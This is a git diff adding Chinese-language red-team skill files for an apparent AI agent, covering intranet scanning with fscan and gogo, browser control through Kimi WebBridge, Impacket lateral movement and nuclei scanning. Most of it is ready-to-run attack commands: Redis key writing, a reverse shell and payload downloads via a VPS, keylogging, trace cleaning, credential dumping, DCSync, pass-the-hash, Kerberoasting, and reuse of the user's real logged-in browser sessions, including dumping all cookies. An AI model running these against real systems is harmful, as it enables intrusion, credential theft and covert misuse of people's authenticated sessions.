前提:已有 socks5(技能 suo5-tunnel,或 vps-reverse-shell 里 ssh -D) +# 实测验证过:fscan -socks5 会把流量真正送进隧道 +./fscan -h 10.0.0.0/24 -p 22,80,445,3306,6379 -np -nobr -nopoc \ + -socks5 127.0.0.1:1080 -t 50 -time 5 -o intranet.txt +``` + +注意:走代理时线程别开太大(隧道本身是瓶颈),`-t 50` 左右足够。 + +### 2. 在跳板机上开隧道给本机用 + +跳板机上执行(把内网 10 段暴露到 VPS 的 9100 端口,再 ssh 本地转发回来): + +```bash +./fscan -start-socks5 1080 # 跳板机:1080 变成 SOCKS5 +# VPS 上反向隧道:ssh -R 9200:127.0.0.1:1080 ubuntu@<你的VPS_IP> +# 本机:ssh -L 1080:127.0.0.1:9200 ubuntu@<你的VPS_IP> +# 之后所有工具都能 -socks5 127.0.0.1:1080 +``` + +### 3. 拿 Redis 直接要权限 + +```bash +./fscan -h 10.0.0.5 -p 6379 -m redis -rf ~/.ssh/id_rsa.pub # 写公钥 → ssh 上去 +./fscan -h 10.0.0.5 -p 6379 -rs # Redis Shell +./fscan -h 10.0.0.5 -p 6379 -rsh <你的VPS_IP>:9000 # 反弹到 VPS 监听 +``` + +### 4. 落到服务器上之后 + +```bash +./fscan -local systeminfo # 系统信息、环境变量、域控、网卡 +./fscan -local keylogger # 键盘记录(-keylog-output 指定输出) +./fscan -local cleaner # 痕迹清理 +``` + +## 结果落库(必须做) + +fscan 的 txt 输出是分段的,解析后逐条入库: + +```bash +# 每台存活主机 +redteam_asset_add { engagement, ip, source: "fscan", tags: ["internal"] } +# 每个开放端口/服务 +redteam_asset_add { engagement, ip, port, service, banner } # 或 asset_link 关联 +# 爆破/未授权成功的凭据与访问 +redteam_credential_add { engagement, host, username, secret_type, secret_ref: "runs/fscan-<段>.txt" } +redteam_access_add { engagement, host, username, method: "ssh", privilege, session_ref } +# 确认的漏洞(必须配 http_evidence 或等价证据) +redteam_vuln_add { engagement, target, name: "Redis 未授权访问", severity: "high", evidence_ref } +``` + +**纪律**:`-o` 的输出文件是证据,拷回 `runs/`;不要只在终端里看一眼就算数。 + +## 排障 + +| 现象 | 处理 | +| --- | --- | +| 扫不动/极慢 | 去掉 `-np`、降 `-t`、加 `-time`;大网段先 `-m icmp` 圈活人 | +| 全是假开放 | 中间有防火墙/负载均衡回 SYN-ACK,用 `-time` 调大 + `-retry` 复核 | +| ICMP 失败 | 需要 root/`CAP_NET_RAW`;用 `sudo ./fscan -m icmp`,或改用 `-np` 只扫端口 | +| 爆破被锁 | 先用 `-usera` 少量试,确认无锁定策略(域账号尤其危险) | +| 中文乱码 | `-lang en` 或 `export LANG=zh_CN.UTF-8` | +| 想更安静 | `-nobr -nopoc -nocolor -nopg -t 50 -rate 6000`,必要时 `-silent` | + +## 相关技能 + +- `gogo-intranet`:先用它铺面 +- `suo5-tunnel`:WebShell → SOCKS5,给 fscan 提供 `-socks5` 入口 +- `vps-reverse-shell`:`-rsh` 的落地端、载荷投递 +- `webshell-toolkit`:拿到 WebShell 后的管理 diff --git a/skills/redteam/gogo-intranet.md b/skills/redteam/gogo-intranet.md new file mode 100644 index 0000000..4d3f238 --- /dev/null +++ b/skills/redteam/gogo-intranet.md @@ -0,0 +1,236 @@ +--- +name: gogo-intranet +description: gogo v2.15.0 高性能内网扫描引擎:智能/超智能模式、主动+被动指纹、关键信息提取(title/cert/JWT/邮箱/身份证)、nuclei 模板 POC、发包可控低噪声 +whenToUse: 进入内网后对大网段(/16 /12)快速测绘、要指纹与关键信息、需要尽量少发包不被发现 +role: internal +enabled: true +--- + +# gogo(内网测绘与指纹引擎) + +`gogo` = **高并发、低噪声、高度可配置的测绘引擎**。链式反应出品,专为红队内网场景设计: +最小发包原则、主动+被动指纹、关键信息提取、内核级 POC 引擎(neutron,兼容 nuclei 模板)、 +支持 DSL/workflow 自定义。**先 gogo 铺面,再 fscan 打点。** + +## 与 fscan 的分工 + +| | gogo | fscan | +| --- | --- | --- | +| 强项 | 大网段测绘、指纹、信息提取、可控发包 | 弱口令爆破、未授权、高危漏洞、利用 | +| 默认噪声 | 低(`--opsec`、线程/超时可调) | 高(600 线程 + 爆破 + POC 全开) | +| 输出 | `.dat`(deflate JSON Lines)+ 格式化 | txt/json/csv | +| 典型用法 | `gogo -i 10.0.0.0/8 -m ss --ping -p top2,win,db --af` | `fscan -h 10.0.0.0/24 -nobr -nopoc` | + +## 二进制 + +``` +本机 : $DSH_HOME/redteam/toolkit/gogo/gogo (v2.15.0,4.3MB,自带 3138 条指纹) + $DSH_HOME/redteam/toolkit/gogo/gogo_windows_amd64.exe + $DSH_HOME/redteam/toolkit/gogo/gogo_linux_arm64 +VPS : http://<你的VPS_IP>:9100/gogo (技能 vps-reverse-shell 的载荷目录) +文档 : https://chainreactors.github.io/wiki/gogo/ +模板 : https://github.com/chainreactors/templates + +# 跳到跳板机/目标上执行 +curl -o gogo http://<你的VPS_IP>:9100/gogo && chmod +x gogo +``` + +安装脚本不下载 gogo,需自行放到主文件路径。Windows 与 ARM 文件同样要自己补;当前平台只用上面的主文件。 + +**零依赖**:单个静态二进制,指纹与提取规则全部内置,Windows 2003 都能跑。**不需要**额外配置文件。 + +## 纪律 + +1. **范围**:`--exclude` / `--exclude-file` 排除授权范围外网段,别把办公网和云元数据段扫了。 +2. **先探路再扫描**:`ip a; ip route; arp -a; cat /etc/hosts` —— 内网拓扑往往能省掉一半扫描。 +3. **OPSEC**:敏感环境加 `--opsec`,线程压到 `-t 200~500`,超时 `-d 3`;大网段必须 `--ping` 先过滤。 +4. **不要 `-p -`(全端口)扫大网段**,那是自杀式发包;先 `top2` 再对存活主机上全端口。 + +## 核心概念 + +### 端口预设(这工具的灵魂) + +```bash +gogo -P port # 列出全部预设 tag 与对应端口 +``` + +常用 tag:`top1`(80,443,8080) · `top2`(数百个常见 Web/服务端口) · `top3` · `common`(内网常用) · +`win`(135,137,445,3389,winrm,oxid) · `db` · `http` · `docker` · `oracle` · `smb` · `all`(全集) + +```bash +p 组合:-p top2,win,db # 逗号任意组合 +p 范围:-p 1-1000 # 区间 +p 全部:-p - # 等于 1-65535(慎用) +p 单点:-p 6379,mysql,12345 +``` + +### 三种扫描模式 + +| 模式 | 参数 | 适用 | +| --- | --- | --- | +| default | (默认) | 单 IP / 小网段(/24 以内) | +| smart | `-m s` | /24~/16,AB 段探测 + 启发式发散 | +| supersmart | `-m ss` | /16 以上大内网,先探点再筛选网段 | +| sc | `-m sc` | 已知目标段、要更细的端口覆盖 | + +```bash +gogo -i 192.168.1.0/24 -m s --ping -p top2,win,db --af +gogo -i 10.0.0.0/8 -m ss --ping -p top2,win,db --af +``` + +### workflow(把复杂命令存成预设) + +```bash +gogo -P workflow # 列出全部 workflow +gogo -w 10 # 等价于扫 10.0.0.0/8 的 supersmart 全流程(all 端口) +gogo -w 172 # 172.16.0.0/12 +gogo -w 192 # 192.168.0.0/16 +gogo -w interc # 内网常见 C 段(10/172/192 三段) +gogo -w 10 -i 11.0.0.0/8 -p top2 # 命令行可覆盖 workflow 参数 +``` + +## 参数速查(实测 v2.15.0 `-h`) + +> **多字符长参数必须双横线**:`--ipp`、`--sp`、`--ef`、`--af`。单横线只给 `-i/-p/-m/-t/-d/-e/-v/-w/-F/-l/-L/-j` 这类单字符。 + +**输入** +``` +-i/--ip 192.168.1.1/24,172.16.1.1/24 目标,逗号分隔多个 +--exclude 10.0.0.1/24 --exclude-file +-l 目标列表文件 -L 从 stdin 读目标 +-j 复用上次结果(.dat)或 ip:port 列表,继续深挖 -J 从 stdin 读 +``` + +**输出** +``` +-f 输出文件名 --path 输出目录 +-o 命令行输出格式 -O 文件输出格式(默认 jsonlines) +--af 自动命名输出文件(.dat,deflate JSON Lines) +--hf 自动命名隐藏文件 -C 关闭压缩 --tee 同时保留控制台输出 +-q/--quiet 关日志只留结果(联动其他工具必加) +-F 格式化已有 .dat 结果 +--filter / --output-filter / --scan-filter 历史过滤 / 实时过滤 / 提前停止 +``` + +**智能扫描** +``` +-m/--mod default|s|ss|sc 扫描模式 +--ping 先 ICMP 过滤(大网段必须) +-n/--no 只做智能扫描,不进入默认扫描 +--sp smart 端口探针(默认 80,ss 模式默认 icmp) +--ipp AB 段 IP 探针(默认 1,254) +``` + +**性能与隐蔽** +``` +-t/--thread 并发(linux 默认 4000,内网建议 200~1000) +-d/--timeout <秒> 超时(默认 2) +-D/--ssl-timeout SSL 超时 +--opsec 低噪声模式(敏感环境开) +-s/--spray 端口优先喷洒(端口数 >500 自动启用) +--no-spray 强制关闭喷洒 +``` + +**指纹与提取** +``` +-v/--verbose 主动指纹识别(不发这个只有被动指纹,信息少但安静) +--ff 自定义指纹库 +--extract "" 自定义提取正则 +gogo -P extract 查看内置提取规则(jwt / mail / idcard / phone / ip 等) +``` + +**漏洞(neutron 内核)** +``` +-e/--exploit 开启 POC 扫描(与 -v 合用写作 -ev) +-E 指定模板名 --ef 指定模板文件 +--payload 指定 payload --attack-type sniper|clusterbomb|pitchfork +``` + +**代理** +``` +--proxy socks5://127.0.0.1:11111 # 实测可用,走 suo5 / ssh -D 隧道 +``` + +## 标准作业流程(SOP) + +```bash +# 0) 探路 +ip a; ip route; arp -a; cat /etc/hosts /etc/resolv.conf + +# 1) 大网段测绘(安静、先探活、结果落文件) +./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af -t 500 -d 3 + +# 2) 看结果(human-like) +./gogo -F ./.10.0.0.0_16_top2_win_db_ss_dat + +# 3) 对存活主机上全端口 + 主动指纹 +./gogo -i 10.0.1.0/24 -p - -v -t 1000 -d 3 --af + +# 4) 定向打 POC(只对确认有指纹的目标) +./gogo -i 10.0.1.5,10.0.1.9 -p top2 -ev -E <模板名> + +# 5) 复用上一步结果继续深挖(不用重扫) +./gogo -j ./step1.dat -p 1-65535 -v -e +``` + +### 走隧道测绘(内网渗透主路径) + +```bash +# 前提:技能 suo5-tunnel 建好 socks5,或 vps-reverse-shell 里 ssh -D +./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af \ + --proxy socks5://127.0.0.1:1080 -t 300 -d 5 -q + +# 实测:gogo --proxy socks5:// 会把流量真正送进隧道(经 VPS 扫到的是 VPS 的 SSH 指纹) +``` + +隧道场景把 `-t` 降到 300 以内、`-d` 提到 5,否则隧道会丢包误判。 + +## 结果落库(必须做) + +gogo 的 `.dat` 是压缩 JSON Lines,先格式化再解析入库: + +```bash +./gogo -F ./result.dat -o json -f result.json # 转成 JSON(实测产物结构见下) +python3 tools/parse.py result.json +# 解析要点:顶层是 {config, ip, data:[...]},每条含 ip/port/protocol/status/frameworks/title/timing +``` +```python +import json +d = json.load(open('result.json', encoding='utf-8')) +for it in d.get('data', []): + fw = ','.join((it.get('frameworks') or {}).keys()) + print(it.get('ip'), it.get('port'), it.get('protocol'), fw, it.get('title')) +# 实测单条:{"ip":"10.0.0.5","port":"22","protocol":"tcp","status":"open", +# "frameworks":{"ssh":{"name":"ssh","attributes":{"version":"10.3p1"}}}, +# "title":"SSH-2.0-OpenS","timing":26} +``` + +```bash +# 入库纪律(与 fscan 相同) +redteam_asset_add { engagement, ip, port, service, title, source: "gogo", tags: [...] } +redteam_web_list # 之后由 web 指纹技能补充 URL/标题 +redteam_vuln_add { engagement, target, name, severity, evidence_ref } # 必须配证据 +``` + +**注意**:gogo 的框架/指纹结果写进 `asset` 的 `fingerprint` 字段,不要只留在终端里。 +扫到的敏感信息提取结果(邮箱/身份证/JWT)属于「大量敏感信息」得分点,用 `redteam_vuln_add` + +`redteam_score_hit` 记录,证据落 `runs/`。 + +## 排障 + +| 现象 | 处理 | +| --- | --- | +| 参数报错 | 长参数用双横线(`--af` 不是 `-af`),`-P` 只接受 `port/workflow/neutron/extract` | +| 结果文件找不到 | `--af` 写在**二进制同目录**,加 `--path` 指定目录 | +| 大网段几乎没结果 | `--ping` 会漏掉禁 ping 主机;去掉 `--ping` 或改 `--ipp` 调整探针 | +| 扫描太慢 | 提高 `-t`、降低 `-d`;`-p` 换成 `top1`/`top2`;大网段用 `-m ss` | +| 被 IDS 发现 | `--opsec` + `-t 200` + `-d 3`;不要开 `-e`;不要 `-p -` | +| 隧道里大量超时 | 降 `-t`、升 `-d`,隧道带宽是瓶颈 | +| 想只看结果不看日志 | `-q`(联动其他工具必加) | + +## 相关技能 + +- `fscan-intranet`:铺面之后的爆破与利用 +- `suo5-tunnel`:WebShell → SOCKS5,给 gogo 提供 `--proxy` 入口 +- `vps-reverse-shell`:隧道与载荷投递 +- `web-fingerprint` / `asset-correlation`:把 gogo 的结果进一步关联成资产图谱 diff --git a/skills/redteam/kimi-webbridge.md b/skills/redteam/kimi-webbridge.md new file mode 100644 index 0000000..88f7e4b --- /dev/null +++ b/skills/redteam/kimi-webbridge.md @@ -0,0 +1,86 @@ +--- +name: kimi-webbridge +description: 用月之暗面 Kimi 浏览器扩展(WebBridge)驱动用户真实 Chrome/Chromium:导航、读取页面、点击、填表、执行 JS、截图 +whenToUse: 需要复用浏览器登录态访问后台/需要 JS 渲染的页面/需要真实浏览器指纹时 +role: recon +enabled: true +--- + +# Kimi WebBridge(浏览器扩展 + 本地守护进程) + +已安装并运行:守护进程 **v2.0.8**(systemd 服务 `kimi-webbridge`,开机自启),监听 `127.0.0.1:10086`,二进制 `~/.kimi-webbridge/bin/kimi-webbridge`。 + +## 当前状态(2026-09 实测) +- 守护进程:**由 systemd 管理**(`/etc/systemd/system/kimi-webbridge.service`,`enabled` + `active`,`Restart=on-failure`)。 + 查状态:`systemctl status kimi-webbridge`;重启用 `sudo systemctl restart kimi-webbridge`。 + **不要再手动跑 `kimi-webbridge start`/`upgrade`**,那会起一个游离进程、systemd 反而变 inactive;要升级用 + `sudo systemctl stop kimi-webbridge && ~/.kimi-webbridge/bin/kimi-webbridge upgrade && sudo systemctl start kimi-webbridge`。 +- 扩展:**Kimi WebBridge v2.0.8,由企业策略自动从 Chrome 应用商店安装**(扩展 ID `fldmhceldgbpfpkbgopacenieobmligc`)。 + 策略文件 `/etc/opt/chrome/policies/managed/kimi-webbridge.json` 与 `/etc/chromium/policies/managed/kimi-webbridge.json` + 都设置了 `ExtensionSettings.force_installed` + `ExtensionInstallForcelist`,所以 **Chrome / Chromium 的任何 profile 打开即自带扩展、自动更新、常驻启用**。 +- Chrome 137+ 已忽略 `--load-extension`(`--disable-features=…` 的逃生口也失效),所以**不要再走解压加载路线**。 +- 若 `status` 显示 `extension_connected: false`:99% 只是**没有浏览器在运行**,启动任一浏览器(`kimi-chrome` 或直接点 Chrome/Chromium 图标)后 5 秒内会自动连上。 +- 简单取页面内容可优先用技能 `browser-automation`(更快、不依赖浏览器窗口);**需要复用真实登录态时必须用本技能** + +## 先决条件 +1. 守护进程已运行:`~/.kimi-webbridge/bin/kimi-webbridge status` 应显示 `"running": true`(开机自启,正常无需干预)。 +2. **必须有一个浏览器在运行**(扩展只在浏览器进程存活时维持连接)。启动器 `~/.local/bin/kimi-chrome`: + - 默认启动 Chrome **默认 profile**(带真实登录态,桥接的价值就在这); + - `KIMI_BROWSER=chromium kimi-chrome` 改用 Chromium;`KIMI_PROFILE=/path kimi-chrome` 指定独立 profile(无登录态)。 +3. 检查连接: +```bash +curl -s http://127.0.0.1:10086/status | python3 -m json.tool +# 必须看到 "extension_connected": true,否则后续命令会失败 +``` + +## 调用方式 +```bash +WB=http://127.0.0.1:10086/command +call() { printf '%s' "$2" > /tmp/wb.json; curl -s -X POST $WB -H 'Content-Type: application/json' --data-binary @/tmp/wb.json; } +``` +> 含中文的 JSON 一律走临时文件 + `--data-binary`,不要用 echo/heredoc 内联。 + +### 常用动作 +```bash +# 打开页面(新标签) +call navigate '{"action":"navigate","args":{"url":"https://target.example.com/login","newTab":true,"group_title":"recon"},"session":"recon1"}' + +# 读取页面纯文本(最常用) +call evaluate '{"action":"evaluate","args":{"code":"(() => document.body.innerText.slice(0,6000))()"},"session":"recon1"}' + +# 取无障碍树(带 @e 元素引用,便于后续 click/fill) +call snapshot '{"action":"snapshot","args":{},"session":"recon1"}' + +# 执行任意 JS:抓前端接口清单(信息收集/接口发现神器) +call evaluate '{"action":"evaluate","args":{"code":"(() => {const s=new Set();for(const e of performance.getEntriesByType(\"resource\"))s.add(e.name);const m=document.documentElement.innerHTML.match(/[\\\"\\x27]\\/(api|v[0-9])\\/[a-zA-Z0-9_\\-\\/{}]+/g)||[];m.forEach(x=>s.add(x));return [...s].slice(0,200).join(\"\\n\")})()"},"session":"recon1"}' + +# 点击 / 填表 +call click '{"action":"click","args":{"ref":"@e12"},"session":"recon1"}' +call fill '{"action":"fill","args":{"ref":"@e15","value":"admin"},"session":"recon1"}' + +# 截图(返回文件路径,不是 base64) +call screenshot '{"action":"screenshot","args":{"path":"$DSH_HOME/redteam/engagements/<靶标>/runs/shot.png"},"session":"recon1"}' + +# 抓网络请求(找接口) +call network '{"action":"network","args":{},"session":"recon1"}' + +# 列出/关闭标签 +call list_tabs '{"action":"list_tabs","args":{},"session":"recon1"}' +call close_session '{"action":"close_session","args":{},"session":"recon1"}' +``` +原始 CDP 透传(高级):`{"action":"cdp","args":{"method":"Network.getAllCookies"}}`。 + +## 在红队流程里的用法 +- **接口发现**:打开站点 → `evaluate` 抓 resource timing + 页面内 JS 里的接口路径 → 把接口清单交给漏洞检测角色做越权/未授权测试。 +- **登录态页面**:用户在浏览器里已登录的后台,可直接 `navigate` + `evaluate` 读取内容,无需重新登录。 +- **JS 渲染站点**:比 curl 更真实,能拿到 SPA 渲染后的 DOM。 +- 发现的 URL/标题照常写回 `redteam_asset_add`(`tool="kimi-webbridge"`)。 + +## 限制(务必知道) +- **无 headless**:必须有图形会话(本机 `DISPLAY=:10.0` 可用)。 +- 只支持 Chrome/Edge;跨域 iframe 不支持;`click`/`fill` 是合成事件,验证码/银行控件无效。 +- 扩展与守护进程版本强耦合:`status` 里 `update_available` 不为空就按上面的 systemd 停机 → `upgrade` → 启机流程升级守护进程;扩展由策略自动更新到最新版。 +- Linux 不在官方支持矩阵(能用但不保证)。 + +## 无扩展时的兜底 +见技能 `browser-automation`(headless chromium 零依赖方案)。 diff --git a/skills/redteam/lateral-movement.md b/skills/redteam/lateral-movement.md new file mode 100644 index 0000000..6d8f61e --- /dev/null +++ b/skills/redteam/lateral-movement.md @@ -0,0 +1,148 @@ +--- +name: lateral-movement +description: 内网横向与提权:Impacket 套件(PtH/PsExec/WMI/DCOM/Kerberos/凭据转储)+ enum4linux/smbclient 信息枚举 +whenToUse: 已进内网,需要用已有凭据或哈希横向到其它主机、枚举域环境、dump 凭据、找域控路径 +role: internal +enabled: true +--- + +# 内网横向与提权(Impacket 套件) + +拿到一台机器和内网可达性之后,**横向到更多主机**(`server-host`)和**找到域控/核心系统**(`central-system`) +是内网阶段的主线。本机已装 **61 个 `impacket-*` 命令**(Kali 自带),是本阶段的主力工具集。 + +## 本机工具 + +| 工具 | 路径 | 用途 | +| --- | --- | --- | +| Impacket 套件 | `/usr/bin/impacket-*`(61 个命令) | 协议级横向、凭据转储、Kerberos 攻击 | +| enum4linux | `/usr/bin/enum4linux` | SMB/域信息枚举(用户、共享、策略) | +| smbclient | `/usr/bin/smbclient` | 共享浏览与读写 | +| nbtscan | `/usr/bin/nbtscan` | NetBIOS 名称扫描 | +| proxychains4 | `/usr/bin/proxychains4` | 走隧道访问内网(**只用 `-f` 临时配置**) | + +## 零、先做的事(信息决定打法) + +```bash +# 1) 看我有什么(凭据/哈希/域信息) +# redteam_credential_list / redteam_access_list / redteam_asset_query +# 2) 枚举域环境(有域账号后) +impacket-GetADUsers /: -dc-ip -all +impacket-GetADComputers /: -dc-ip +enum4linux -a # 无凭据也能枚举出用户/共享/策略 + +# 3) 共享与文件 +smbclient -L // -N # 空会话列共享 +smbclient /// -U % # 读共享 +impacket-smbclient /:@ # 交互式,可 cd/ls/get/put +``` + +**内网扫描仍用 gogo/fscan**(技能 `gogo-intranet` / `fscan-intranet`)——本技能负责"进去之后怎么走"。 + +## 一、凭据转储(拿到一台机器后的第一优先) + +```bash +# 1) 远程 dump SAM/LSA/SECRETS(需管理员凭据) +impacket-secretsdump /:@ +impacket-secretsdump -hashes : /@ # 用哈希直接 dump + +# 2) 只 dump 本地 SAM +impacket-secretsdump -sam sam.hive -system system.hive LOCAL + +# 3) DCSync(有域管/复制权限时,直接拿域内所有哈希)—— 直通域控的关键一步 +impacket-secretsdump /:@ -just-dc + +# 4) 抓明文/票据:配合目标侧工具(如 mimikatz)或 lsassy +# 哈希拿到后用 credential-attack 离线破解,或直接 PtH(见下) +``` + +**输出处理**:dump 出的 `NTLM` 哈希逐条 `redteam_credential_add`(`source=凭据转储`, +明文的口令写 `secret_value`,哈希写 `note` 或 `secret_value` 并标注类型),文件存 `runs/`。 + +## 二、Pass-the-Hash(PtH,不用破解直接横向) + +```bash +# 命令执行 +impacket-psexec -hashes : /@ # 交互式 SYSTEM shell(噪声大) +impacket-wmiexec -hashes : /@ # 半交互,噪声较小(推荐) +impacket-atexec -hashes : /@ "whoami" # 单命令,最安静 +impacket-smbexec -hashes : /@ # 通过服务执行 + +# 拿文件 +impacket-smbclient -hashes : /@ + +# 数据库 +impacket-mssqlclient -hashes : /@ +``` + +**psexec 会落地服务、噪声大、可能被杀软拦**;优先 `wmiexec`/`atexec`。 + +## 三、Kerberos 攻击(有域环境时) + +```bash +# 1) 用户名枚举 + AS-REP 抓取(不需要密码,找不需要预认证的账号) +impacket-GetNPUsers / -usersfile runs/users.txt -dc-ip -format hashcat -outputfile runs/asrep.txt +hashcat -m 18200 runs/asrep.txt /usr/share/wordlists/rockyou.txt # 离线破解 + +# 2) Kerberoasting(找有 SPN 的服务账号,抓 TGS 离线破解) +impacket-GetUserSPNs /: -dc-ip -request -outputfile runs/kerberoast.txt +hashcat -m 13100 runs/kerberoast.txt /usr/share/wordlists/rockyou.txt + +# 3) 票据申请与使用 +impacket-getTGT /: -dc-ip # 申请 TGT → .ccache +export KRB5CCNAME=/path/to/user.ccache +impacket-wmiexec -k -no-pass /@ # 用票据横向 + +# 4) 委派攻击(域内提权路径) +impacket-findDelegation /: -dc-ip +impacket-getST -spn -impersonate administrator /: +``` + +## 四、凭据复用(比攻击快得多,永远先试) + +拿到任何账号/哈希后**先横向试**,而不是急着打新漏洞: +1. 同一口令试其它主机(`wmiexec` 批量)+ 其它协议(SMB/WinRM/RDP/SSH/MSSQL/MySQL); +2. 本地管理员口令复用(同镜像批量装机的机器常同口令)——**这是内网横向命中率最高的一招**; +3. 域账号 → 试域内所有机器、共享、OA/邮件/堡垒机/运维平台后台; +4. 哈希 → PtH 到所有可达主机(写个循环,配合 `runs/hosts.txt`)。 + +## 五、隧道配合(内网目标不可直连时) + +```bash +# 所有命令加 proxychains4,用临时配置(不要改系统配置) +cat > runs/proxychains-1080.conf <<'EOF' +strict_chain +proxy_dns +[ProxyList] +socks5 127.0.0.1 1080 +EOF + +proxychains4 -f runs/proxychains-1080.conf impacket-wmiexec -hashes : /@10.0.0.5 +proxychains4 -f runs/proxychains-1080.conf enum4linux -a 10.0.0.6 +# ⚠️ 注意:proxychains 只代理 TCP;Kerberos 的 UDP 部分与部分反连场景需要 chisel/frp 的端口映射 +``` + +## 六、纪律与边界 + +1. **收敛优先**:内网阶段的目标是**核心系统**(域控 / 堡垒机 / 运维平台 / 数据库集群 / 代码仓库 / 备份系统), + 不是把每台机器都打一遍。横向只是手段,得分点是 `server-host` 与 `central-system`。 +2. **噪声控制**:`psexec` 落地服务、`secretsdump` 触碰 LSASS,都会被 EDR 盯上; + 优先 `wmiexec`/`atexec`,控制频率,别对整段做暴力横向。 +3. **不要把自己打锁**:域账号连续失败会锁定策略;先用现成凭据复用,弱口令爆破按技能 `credential-attack` 的限流纪律。 +4. **破坏性操作禁止**:不要停服务、不要改系统配置、不要删日志(除非演练明确要求且用户同意)。 +5. **每台新主机都要登记**:`redteam_asset_add`(内网资产,`scope` 自动 internal), + 访问成功 `redteam_access_add`,凭据 `redteam_credential_add`。 + +## 七、输出与落库(强制) + +1. **每台成功横向的主机记分**:`redteam_score_hit`(`server-host`),`evidence` 写 + 「源主机 → 目标主机:端口|用什么凭据/哈希|执行结果」(如 `10.0.0.5 → 10.0.0.9:445|PtH 本地管理员哈希|whoami=nt authority\system`)。 +2. **核心系统记分**:打到域控/堡垒机/运维平台/数据库集群 → `central-system`; + 拿到大量数据 → `bigdata-system`(**必须写实际条数,≥100 万条才算**)。 +3. **凭据落库**:`redteam_credential_add`,`source` 写清(`凭据转储`/`Kerberoasting`/`AS-REP`/`凭据复用`/`离线破解`), + `tool` 写实际命令原文,明文口令写 `secret_value`,文件路径写 `secret_ref`。 +4. **访问会话落库**:`redteam_access_add`(`method=smb`/`wmi`/`pth`/`kerberos`/`ssh`/`rdp`)。 +5. 每个关键动作 `redteam_chain_add`:`stage_code=internal`(内网拿权限)或 `target`(拿靶标), + **`tool` 写实际命令原文**(含 `-hashes`、`-k -no-pass` 等关键参数,以及 `proxychains4 -f ...` 前缀), + `result` 写回显摘要——报告要能照着复现。 +6. **回填知识库**:验证有效的通用利用脚本 `redteam_poc_add`(带 `category` + `engagement` + `asset_target` + `verified_note`,脱敏)。 diff --git a/skills/redteam/nuclei-scan.md b/skills/redteam/nuclei-scan.md new file mode 100644 index 0000000..3bbd03b --- /dev/null +++ b/skills/redteam/nuclei-scan.md @@ -0,0 +1,103 @@ +--- +name: nuclei-scan +description: nuclei 模板化漏洞扫描:13,000+ 模板覆盖 CVE/暴露面/配置缺陷/默认口令,Nday 与 1day 的主力检测手段 +whenToUse: 漏洞发现阶段拿到存活资产清单后,做 Nday/1day 批量检测;或已知组件版本想快速确认是否有现成模板 +role: vuln-scan +enabled: true +--- + +# nuclei(模板化漏洞检测) + +`nuclei` 是漏洞发现阶段的**主力**:一条命令覆盖 CVE、暴露面、错误配置、默认口令、未授权访问。 +本机模板库已就位(详见下方路径),**不要上网重新找 POC**。 + +## 本机二进制与模板 + +| 项 | 值 | +| --- | --- | +| 二进制 | `/usr/bin/nuclei`(v3.11.1) | +| 模板库 | `~/.local/nuclei-templates`(**13,742 个模板**) | +| 模板版本 | v10.4.9(更新于 2026-09-18) | +| 配置 | `~/.config/nuclei/config.yaml`、`.templates-config.json` | + +模板分布(写报告时按类引用):`http/` 11,364(其中 `http/cves` 4,320、`http/misconfiguration` 981、 +`http/vulnerabilities` 961、`http/exposures` 707、`http/default-logins` 307)、`cloud/` 663、`file/` 447、 +`network/` 282、`dast/` 251。 + +**更新模板**:`nuclei -update-templates`(频率不超过每周一次;更新后先跑 `-tl` 确认没坏)。 + +## 基本用法 + +```bash +# 1) 单目标快速体检(先看会命中什么,不实际打) +nuclei -u https://target.example.com -severity critical,high,medium -rl 30 -c 15 + +# 2) 批量:从资产库导出的存活 URL 清单 +nuclei -l runs/alive-urls.txt -severity critical,high -rl 50 -c 25 \ + -jsonl -o runs/nuclei-$(date +%m%d-%H%M).jsonl + +# 3) 指定模板(已知组件版本 → 精确打击,命中率高、噪声小) +nuclei -u http://target:8080 -t http/cves/2021/CVE-2021-44228.yaml +nuclei -u http://target -t http/exposures/ -t http/default-logins/ + +# 4) 按标签(tags)批量 +nuclei -l runs/alive-urls.txt -tags seeyon,weaver,panel,exposure -rl 20 + +# 5) 只列出会跑的模板(不发包,先评估覆盖面) +nuclei -l runs/alive-urls.txt -tags cve -tl +``` + +## 关键参数(本场景常用) + +| 参数 | 作用 | 建议 | +| --- | --- | --- | +| `-rl` | 每秒请求上限 | 互联网侧 30–50;被 WAF 盯上后降到 5 | +| `-c` | 并发模板数 | 15–25,过高会打崩小站 | +| `-severity` | 只跑指定等级 | 演练只关心 `critical,high`(中低危不得分) | +| `-tags` / `-t` | 模板筛选 | 有指纹线索时优先用,别全量轰 | +| `-jsonl -o` | 结构化输出 | **必须落 `runs/`**,报告要引用 | +| `-proxy` | 走代理 | 降噪用 `cn-proxy-pool`;**内网目标走 suo5 隧道加 `-proxy socks5://127.0.0.1:1080`** | +| `-H` | 自定义头 | 带 Cookie/Token 测登录后功能点 | +| `-duc` | 禁用模板更新检查 | 批量跑时省时间 | +| `-stats -si 30` | 进度输出 | 长任务看进度 | + +## 与知识库的配合(先查再打,禁止重复劳动) + +动手前先 `redteam_poc_search`(按 CVE / 组件 / 版本 / 正文特征)——它一次查两层:**本机 POC 知识库 + 本机 nuclei 模板库**。 +命中就用 `redteam_poc_get` 取全文或直接 `nuclei -t <模板>`;两层都没有才上网找,最后才手搓。 + +验证有效的新模板/EXP 用 `redteam_poc_add` 回填知识库(带 `category` + `engagement` + `asset_target` + `verified` + `verified_note`,脱敏本次靶标信息)。 + +## 降噪与自保(重要) + +1. **默认 ignore 已排除危险标签**:`~/.config/nuclei/.nuclei-ignore` 里默认忽略 `dos`、`local`、`fuzz`、`bruteforce`、`txt-service`—— + **不要为了"打得更全"去掉这些忽略项**,DoS 类模板会打死生产系统,直接毁掉演练。 +2. **先探测后开火**:先用 `-severity critical,high` 跑一轮;命中后再对具体命中项深入,不要一上来全量。 +3. **WAF/封禁处理**:被拦先降 `-rl` 到 5 并加 `--delay 1s`,换 UA(`-H "User-Agent: ..."`), + 必要时用技能 `cn-proxy-pool` 换出口;**同一目标累计被封 >3 次立刻放弃**(`redteam_asset_test` status=abandoned + blocked=true),转向下一个目标。 +4. **生产系统避开业务高峰**:定时任务、批量任务类模板(如触发同步/重建索引的)先在测试/预发资产上验证。 + +## 输出与落库(强制) + +跑完立刻落库,**不要攒到最后**: + +1. 读 `runs/nuclei-*.jsonl`,逐条 `redteam_vuln_add`: + - `title`(模板名 + 命中点)、`severity`、`cve`(模板带的 `classification.cve-id`)、`target`(**带端口**)、 + 